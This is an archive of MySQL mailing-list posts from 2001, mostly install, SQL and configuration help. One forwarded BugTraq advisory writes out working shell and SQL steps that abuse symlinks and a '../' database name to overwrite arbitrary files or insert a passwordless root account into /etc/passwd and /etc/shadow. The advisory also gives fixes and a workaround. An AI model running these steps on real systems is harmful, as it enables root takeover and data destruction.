Hello, I'm a MySQL newbie (hopefully, there's a few others of me around so I won't feel like I stick out so much). I've setup a Linux box running Red Hat 7.0 with Apache 1.3.12, PHP 3.0.18, and MySQL 3.22.32 (I know its an older version, but our web hosting service has not upgraded their version and it does not sound as though they plan to do so any time soon). All seems to be running well, except for the unfortunate problem that I cannot get mysql to start. I have followed the steps in the documentation provided with the source code from mysql.com I have MySQL installed at /usr/local/mysql-3.22.32/ when I type mysql.server start I am told that either the file does not exist or I have no permission to use it. I'm logged on as root, and I've setup the user and group to mysql as the manual states. Has anyone else had any difficulties getting MySQL and RedHat 7.0 to work? As I said, I'm rather new at this so I'm grabbing at straws. Thank you -Tim - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
SQLException caught : Before start of result set ?
Has anybody come across this exception, and can advise me what it means ? Thank you, David. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SQLException caught : Before start of result set ?
In JDBC2.0, you can move the invisible pointer witing your ResultSet backwards and forward, or to absolute row numbers. You can therefore move the pointer completely out of the table - fro wxample, by calling ResultSet.beforeFirst(). If you then attempt to access the "current" row, you will get this error. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
FW: potential vulnerability of mysqld running with rootprivileges (can be used as good DoS or r00t expoloit)
Hi all, The original message below was posted to the BugTraq mailing list. Have the developers seen this? I know it talks about version mysql-3.20.32a (which is ancient), but he mentions that it affects other versions. Anyway, I don't run my MySQL server as root, so I'm not worried. :) Regards, Basil Hussain ([EMAIL PROTECTED]) -- From: "Pavlov, Lesha" [EMAIL PROTECTED] Organization: NN.ru Reply-To: [EMAIL PROTECTED] Date: Sun, 18 Mar 2001 21:32:37 +0300 To: [EMAIL PROTECTED] Subject: potential vulnerability of mysqld running with root privileges (can be used as good DoS or r00t expoloit) Anybody, who get login and password to mysql can use it as DoS or r00t exploit because mysql accepts '../blah-blah' as valid database name and each table represented by 3 files tablename.ISD, tablename.ISM and tablename.frm, But, when mysqld checks table already exists or not exists, it checks _only_ tablename.frm : Usage this "vulnerable features of mysql" to make big DoS (Will Overwrite any file you wish): $ cd /var/tmp $ ln -s /some/file/you/wish/to/owerwrite qqq.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table qqq(www int); \q $ File /some/file/you/wish/to/overwrite will be overwritten. Usage as r00t exploit: $ cd /var/tmp $ ln -s /etc/passwd gotcha.ISD $ ln -s /etc/shadow make_me_r00t.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table gotcha(qqq varchar(255)); create table make_me_r00t(qqq varchar(255)); insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n'); insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n'); \q $ You getta r00t now! Recomendations: * Patch mysql to when check table presents, it checks all tablename.{ISD,ISM,frm} files, not only tablename.frm * Patch mysql to treat database names, started by '..' as incorrect database names. * And Main recomendation - do not run mysqld as root!!! Patches: not yet Workaround: chowns existing database tables to a normal user and run mysqld as this unprivileged user - it will be better solution!. Vulnerable versions: This DoS/exploit tested on mysql-3.20.32a but i see another versions of mysql also vulnerabile. Comments: Mysql dox recomends dont run mysqld as root, but People from RedHat didnt read mysql dox - mysql istalled from rpm is vulnerable. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
VC++ connection !!!!!!!!!!
Hello , can anyone tell how to connect from vc++ to mysql server.I badly need it for my project. satish. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
mysql 3.22.32
Hello everybody, I have some pb to administrate mysql, I can't create a new database error: you are an anonymous localhost I just can create a new tables in database already exist. what can I do , please help m!!!
URGENT: Replication problem
Hi, I am currently exploring the replication feature in 3.23.33 and encountered this error the moment I start the slave server: 010320 18:38:13 Slave: connected to master '[EMAIL PROTECTED]:9900', replication started in log 'FIRST' at posit ion 4 010320 18:38:13 Slave: received 0 length packet from server, apparent master shutdown: (0) 010320 18:38:13 Slave: Failed reading log event, reconnecting to retry, log 'FIRST' position 34 010320 18:38:14 Slave: reconnected to master '[EMAIL PROTECTED]:9900',replication resumed in log 'FIRST' at posit ion 34 010320 18:38:14 Slave: received 0 length packet from server, apparent master shutdown: (0) What could be the possible reason for the error? My Master server is started with: safe_mysqld --socket=/tmp/repldb.sock --port=9900 --datadir=/home/replic/db/ mysql/data --log-bin --server-id=1 My Slave server is started with: safe_mysqld --socket=/tmp/gmdb.sock --port=9900 --datadir=/home/replic/db/my sql/data --master-host=10.1.1.0 --master-port=9900 --master-user=replicate - -master-password=replicslave --server-id=1 Thanks for any help given. Lois - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Hi! On Mar 20, Basil Hussain wrote: Hi all, The original message below was posted to the BugTraq mailing list. Have the developers seen this? I know it talks about version mysql-3.20.32a (which is ancient), but he mentions that it affects other versions. Anyway, I don't run my MySQL server as root, so I'm not worried. :) You shouldn't. MySQL-3.23 is not vulnerable. Regards, Sergei -- MySQL Development Team __ ___ ___ __ / |/ /_ __/ __/ __ \/ / Sergei Golubchik [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\___/ Osnabrueck, Germany ___/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Question for the mysql install..
Hello!! I have a question for the mysql install. Type of mysqlsource distribution Mysql Versionmysql-3.22.32.tar.gz My System SunOS stachyonbse01 5.7 Generic sun4u sparc SUNW,Ultra-60 After upload gunzip mysql-3.22.34.tar.gz | tar -xvf - Result of the above command(gunzip,tar) follows: . . x mysql-3.23.35/sql-bench/Results/wisconsin-solid-Linux_2.0.36_i686-cmp-mysql,pg,solid, 676 bytes, 2 Å×ÀÌÇÁ ºí·Ï(tape block) x mysql-3.23.35/sql-bench/Results-win32, 0 bytes, 0 Å×ÀÌÇÁ ºí·Ï(tape block) x mysql-3.23.35/sql-bench/Results-win32/ATIS-access_odbc-win98-cmp-access,mysql, 978 bytes, 2 Å×ÀÌÇÁ ºí·Ï(tape block) tar: µð·ºÅ丮(Directory) Checksum ¿À·ù(error) Because of this directory's checksum error, I confused whether I continued installing or not. In spite of this error I continued installing this program , So the following message is displayed. make make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' Making all in support-files make[2]: Entering directory `/data1/kkablue/mysql/mysql-3.22.32/support-files' make[2]: *** No rule to make target `all'. Stop. make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/support-files' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32' make: *** [all-recursive-am] Error 2 make install cp: ./limits¸¦ ¾×¼¼½ºÇÒ¼ö ¾øÀ½ make[2]: *** [install-data-local] Error 2 make[2]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' make[1]: *** [install-am] Error 2 make[1]: Leaving directory `/data1/kkablue/mysql/mysql-3.22.32/bench' make: *** [install-recursive] Error 1 What can i do for it, Please I will thank you to tell me how to install this program successful. Thank you for your attention !!
Exists and Not exists
Hi there, I am a mysql newbie. Is there anybody that can help me solve this code, so that it can run on mysql $sql="CREATE TEMPORARY TABLE tempingr SELECT resepid FROM resep r WHERE NOT EXISTS (SELECT * FROM what_ingr w WHERE w.resepid=r.resepid and NOT EXISTS (SELECT * FROM Temp_Ingredient t WHERE t.selectedingr=w.ingrid))"; $results=mysql_query($sql, $con) or die("Can't retrieve data from database, please contact the author"); Thanks you. Budi
Re: select ... having bug?
At 09:47 AM 3/20/2001 +0100, \"Piotr Gapinski\" wrote: small problems with query below... my fault? mysql desc poll_answer; +-+-+--+-+-+---+ | Field | Type|Null | Key | Default | Extra | +-+-+--+-+-+---+ | poll_id | int(10) | | | 0 | | | cnt | int(10) | | | 0 | | | answer | varchar(60) | | | | | +-+-+--+-+-+---+ 3 rows in set (0.00 sec) mysql select answer from poll_answer having cnt=1; ERROR 1054: Unknown column 'cnt' in 'having clause' try: mysql select answer, count(*) as cnt from poll_answer group by answer having cnt=1; -bill - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Invalid authorization specification
You are getting that error because your JSP pages are trying to connect to MySQL using the login javaworks and no password. Either: 1: You've not GRANTed any permissions to javaworks@localhost or 2: You did GRANT permissions but with a password and you are not sending the password. HTH, Cal http://www.calevans.com -Original Message- From: kuttappan [mailto:[EMAIL PROTECTED]] Sent: Monday, March 19, 2001 6:37 AM To: [EMAIL PROTECTED] Subject: Invalid authorization specification hello all. I'm new to mysql and to this list. Here's my problem. I am using mysql and jsp. From a jsp page I try to connect to the mysql server I get error " Invalid authorization specification: Access denied for user : javaworks@localhost (using password: NO) at org.git.mm.mysql.MysqlIO.init (MysqlIO.java : 278) at org.git.mm.mysql.Connection.init (Connection.java :230) at org.git.mm.mysql.Mysql.Driver.connect (Driver.java : 126) at java.sql.DriverManager.getConnection (unknown source) I am using Mysql version 3.23.31 for windows , Tomcat and JDK 1.3.1 Why am I getting this error and what can I do to resolve the problem. Rohit. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.237 / Virus Database: 115 - Release Date: 07/03/2001 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Problem with mysql 3.23.35 using transaction
Hi, the version mysql that I am using supports the transactions but these are not recognized from the DBD. How can I resolve the problem? Thanks -- Brunella del Sorbo Officine Digitali Srl Idee Tecnologie Soluzioni per il Web Via Ferrarese 219/7 40128 BolognaTel. 051 4187565 Fax. 051 7090261 www.officinedigitali.it - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Exists and Not exists
Sorry, MySQL does not yet support sub-selects. Cal http://www.calevans.com -Original Message- From: Budiono Tjiayono [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 6:17 AM To: [EMAIL PROTECTED] Subject: Exists and Not exists Hi there, I am a mysql newbie. Is there anybody that can help me solve this code, so that it can run on mysql $sql="CREATE TEMPORARY TABLE tempingr SELECT resepid FROM resep r WHERE NOT EXISTS (SELECT * FROM what_ingr w WHERE w.resepid=r.resepid and NOT EXISTS (SELECT * FROM Temp_Ingredient t WHERE t.selectedingr=w.ingrid))"; $results=mysql_query($sql, $con) or die("Can't retrieve data from database, please contact the author"); Thanks you. Budi - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
full log debuging
Hello all! I have running now mysqld with --long-log option. is it fully debug log of mysql? becouse when phpmyadmin communicating with mysql it say 'Unknown database' error. But when i look to logs there is nothing about this error. How is possible turn on full log debuging. Thank You! S pozdravem, Michal Kolesar +420 608 225025 [EMAIL PROTECTED] http://www.egarden.cz server of free unix services - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Alteon + forks
Hi, U can check out this page to see what an alteon is: http://www.alteonwebsystems.com/products/testing/ Regards Pedro - Original Message - From: "Jeremy D. Zawodny" [EMAIL PROTECTED] To: "Pedro" [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 4:53 AM Subject: Re: Alteon + forks On Mon, Mar 19, 2001 at 04:13:25PM -, Pedro wrote: I have 2 servers and 1 alteon in HA. But the problem is that the alteon , when trying, to see if the servers are up or down , makes mysql to fork , till it dies.. I'm not sure I understand... Probably because I don't know what an aleton is. Can you provide a bit more detail? Thanks, Jeremy -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Big Tables on AIX 4.3.2
Hi Everyone I know this type of question has been answered quite frequently so please accept my apologies if this is "old hat" and just annoying. I have spent a good few hours searching past discussions and the 'net but I still haven't been successful so I'm posting my question here. I am building a database in MySql with only two tables but the one table will definitely need to be a few Gigabytes in size. How do I do this ? I am working on AIX 4.3.2 and I have created a file larger than 2G with the cat command so I know the OS can handle large files. I set my soft and hard file size limits to unlimited and started loading the database. When the table file (*.MYI) approached 2G, the load command quit with an error 36 (I think) which I guess must be the table size limit exceeded or something. I ran the command "show table status" and I get a max_data_length value for all my tables as 2147483647. I tried to create a table with the max_rows=1 setting and that worked but I still have max_data_length for this new table as 2147483647 ! Help ! Specifically, my questions are: 1) Is the value of max_data_length a reliable way of determining allowed table size ? Can I be sure that until this setting exceeds 2147483647 I will not be able to create tables 2G ? 2) I am using AIX 4.3.2 and the binary distribution mysql-3.23.8-alpha-ibm-aix4.2.1.0-powerpc. Is this version built for support of large files ? If not, how do I go about building one ? Many thanks in advance. James -- --- James Thorpe CCWR User Consultant [EMAIL PROTECTED] tel: +27 33 2605174 http://www.ccwr.ac.za/ccwr/users/thorpe You are only young once, but you can stay immature indefinitely. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Can't connect server through socket /var/lib/mysql/mysql.sock(111)
Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: query with or !=
Gilles Dumangin writes: Hi, I have a strange problem happening. I have created an application on a PC with Mysql-3.23.22-beta and I have different results than on a standard Mysql-3.23.35. The main problem seems to be at the following: Say have 6 rows with a column name "actif", out of these 6 rows 3 have a NULL value in the actif column and three have the value "No" is I do select count(*) from tablename where actif != "Yes" ; or select count(*) from tablename where actif "Yes" ; I get the following results: - development machine: I get results = 6 - production machine: I get results = 3 Note all rows are different than "Yes", only 3 of them are actually NULL. OK so that is a fact, but I would like to know if it is just a setting I can change in the database or if I have to modify the whole program to make sure these cases don't happen. Gilles _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Hi! Between the above versions MySQL has changed treatments of NULL's to be 100 % ANSI SQL92 compliant. Simply, now NULL can not be equal to anything, including another NULL. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes: Bonjour, Here is my setup : Mysql-3.23.35 complied from sources with : ./configure --prefix=/usr/local/mysql --without-bench --enable-thread-safe-client --with-innobase System: SunOS sun01381 5.8 Generic_108528-04 sun4u sparc SUNW,Ultra-80 Architecture: sun4 Some paths: /bin/perl /usr/ccs/bin/make /usr/local/bin/gmake /usr/local/bin/gcc /usr/ucb/cc GCC: Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/2.95.2/specs gcc version 2.95.2 19991024 (release) /etc/my.cnf [mysqld] port= 3306 socket = /tmp/mysql.sock skip-locking skip-name-resolve set-variable= key_buffer=128M set-variable= max_allowed_packet=1M set-variable= table_cache=256 set-variable= sort_buffer=5M set-variable= record_buffer=1M set-variable= myisam_sort_buffer_size=64M set-variable= thread_cache=8 set-variable= thread_concurrency=8 # Try number of CPU's*2 myisam-recover = BACKUP,FORCE # Innobase innobase_data_home_dir = /usr/local/mysql/var/innobase_data/ innobase_data_file_path = ibdata1:500M set-variable = innobase_mirrored_log_groups=1 innobase_log_group_home_dir = /usr/local/mysql/var/innobase_logs/ set-variable = innobase_log_files_in_group=3 set-variable = innobase_log_file_size=5M set-variable = innobase_log_buffer_size=8M innobase_flush_log_at_trx_commit=0 innobase_log_arch_dir = innobase_log_group_home_dir innobase_log_archive=0 set-variable = innobase_buffer_pool_size=64M set-variable = innobase_additional_mem_pool_size=2M set-variable = innobase_file_io_threads=4 set-variable = innobase_lock_wait_timeout=50 Here is my problem : With even no queries on the server, I continually have the "Warning: Got signal 14 from thread X" in the log of Mysqld : 010320 10:48:46 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections 010320 10:49:32 Warning: Got signal 14 from thread 4 010320 10:49:34 Warning: Got signal 14 from thread 3 010320 10:49:36 Warning: Got signal 14 from thread 5 010320 10:49:38 Warning: Got signal 14 from thread 4 010320 10:49:40 Warning: Got signal 14 from thread 4 010320 10:49:42 Warning: Got signal 14 from thread 6 010320 10:49:44 Warning: Got signal 14 from thread 5 010320 10:49:46 Warning: Got signal 14 from thread 4 010320 10:49:48 Warning: Got signal 14 from thread 3 010320 10:49:50 Warning: Got signal 14 from thread 5 010320 10:49:52 Warning: Got signal 14 from thread 4 ... I did not have that with 3.23.32 ... but I did not have Innobase with 3.23.32 ... Is it a known bug ? Regards, Alex. Hi! The above could indicate some timeout problem. Can you build mysql --with-debug and start it with --debug and see in the trace file when are the above timeouts reported ?? Also, do you have clients that do not call mysql_close at the end , like PHP programs ? Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: URGENT: Replication problem
It's my mistake, for setting the same server-id on both servers. Lois -Original Message- From: Neo Sok Lay [mailto:[EMAIL PROTECTED]] Sent: Tuesday, 20 March, 2001 7:41 PM To: [EMAIL PROTECTED] Subject: URGENT: Replication problem Hi, I am currently exploring the replication feature in 3.23.33 and encountered this error the moment I start the slave server: 010320 18:38:13 Slave: connected to master '[EMAIL PROTECTED]:9900', replication started in log 'FIRST' at posit ion 4 010320 18:38:13 Slave: received 0 length packet from server, apparent master shutdown: (0) 010320 18:38:13 Slave: Failed reading log event, reconnecting to retry, log 'FIRST' position 34 010320 18:38:14 Slave: reconnected to master '[EMAIL PROTECTED]:9900',replication resumed in log 'FIRST' at posit ion 34 010320 18:38:14 Slave: received 0 length packet from server, apparent master shutdown: (0) What could be the possible reason for the error? My Master server is started with: safe_mysqld --socket=/tmp/repldb.sock --port=9900 --datadir=/home/replic/db/ mysql/data --log-bin --server-id=1 My Slave server is started with: safe_mysqld --socket=/tmp/gmdb.sock --port=9900 --datadir=/home/replic/db/my sql/data --master-host=10.1.1.0 --master-port=9900 --master-user=replicate - -master-password=replicslave --server-id=1 Thanks for any help given. Lois - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Will MySQL_Linux_Apache handle Yahoo level traffic data?
Jeremy, Thanks for the info. Do you happen to know how many actual hits a Yahoo or eBay or Google get each day? According to http://us.mediametrix.com/data/thetop.jsp Yahoo had about 60 million "unique visitors" in Feb Google had about 10 million eBay was in the middle Unique Visitor is the catch... I could visit Yahoo 5 times a day but I would count as only one unique visitor. I'm trying to determin the number of hits... or request by internet clients for web pages... to get an idea of the bandwidth requirments for very large internet sites. Thanks for any help - tmb --- "Jeremy D. Zawodny" [EMAIL PROTECTED] wrote: On Mon, Mar 19, 2001 at 06:05:47AM -0800, tmb wrote: I'm a newbie to the Linux-Apache+MySQL world. 1 - Will MySQL handle a data base as large as a Yahoo or Google or E-Bay ? Done properly, yes. 2 - Will MySQL running on a Linux/Apache system handle traffic that approaches that of a Yahoo, Google or E-Bay? Same answer. 3 - Does MySQL have an equilivant to "stored proceedures? Not today, no. Jeremy -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 __ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
maillists writes: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at The only correct syntax for MySQL (server and client) is : [mysqld] socket=.. [client] socket=.. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Warning: Got signal 14 from thread X
Alex, let us see. A known bug with Innobase is that sys/stat was not included in univ.i in directory mysql/innobase/include. Then Innobase files are created with arbitrary access permissions on some Unixes. Could you look with ls -l what permissions Innobase data file ibdat1 has on your machine and also the permissions in log files in /usr/local/mysql/var/innobase_logs/ ? In the config parameters below you should not define innobase_log_arch_dir = innobase_log_group_home_dir, but write the path: innobase_log_arch_dir = /usr/local/mysql/var/innobase_logs/ Your archived log file has now been created in the default directory: if you can find ib_arch_log_00 somewhere, you could also look at the file access permissions and mail the output of ls -l to me. If you try to recreate an Innobase database, you should delete all Innobase data files, log files, the small archived log file, and all .frm files for Innobase tables. I will also try to build 3.23.35 on our Solaris machine and look what happens. Regards, Heikki # Innobase innobase_data_home_dir = /usr/local/mysql/var/innobase_data/ innobase_data_file_path = ibdata1:500M set-variable = innobase_mirrored_log_groups=1 innobase_log_group_home_dir = /usr/local/mysql/var/innobase_logs/ set-variable = innobase_log_files_in_group=3 set-variable = innobase_log_file_size=5M set-variable = innobase_log_buffer_size=8M innobase_flush_log_at_trx_commit=0 innobase_log_arch_dir = innobase_log_group_home_dir innobase_log_archive=0 set-variable = innobase_buffer_pool_size=64M set-variable = innobase_additional_mem_pool_size=2M set-variable = innobase_file_io_threads=4 set-variable = innobase_lock_wait_timeout=50 Here is my problem : With even no queries on the server, I continually have the "Warning: Got signal 14 from thread X" in the log of Mysqld : 010320 10:48:46 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections 010320 10:49:32 Warning: Got signal 14 from thread 4 010320 10:49:34 Warning: Got signal 14 from thread 3 010320 10:49:36 Warning: Got signal 14 from thread 5 010320 10:49:38 Warning: Got signal 14 from thread 4 010320 10:49:40 Warning: Got signal 14 from thread 4 010320 10:49:42 Warning: Got signal 14 from thread 6 010320 10:49:44 Warning: Got signal 14 from thread 5 010320 10:49:46 Warning: Got signal 14 from thread 4 010320 10:49:48 Warning: Got signal 14 from thread 3 010320 10:49:50 Warning: Got signal 14 from thread 5 010320 10:49:52 Warning: Got signal 14 from thread 4 ... I did not have that with 3.23.32 ... but I did not have Innobase with 3.23.32 ...Is it a known bug ? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Problem Setting up MyODBC Driver
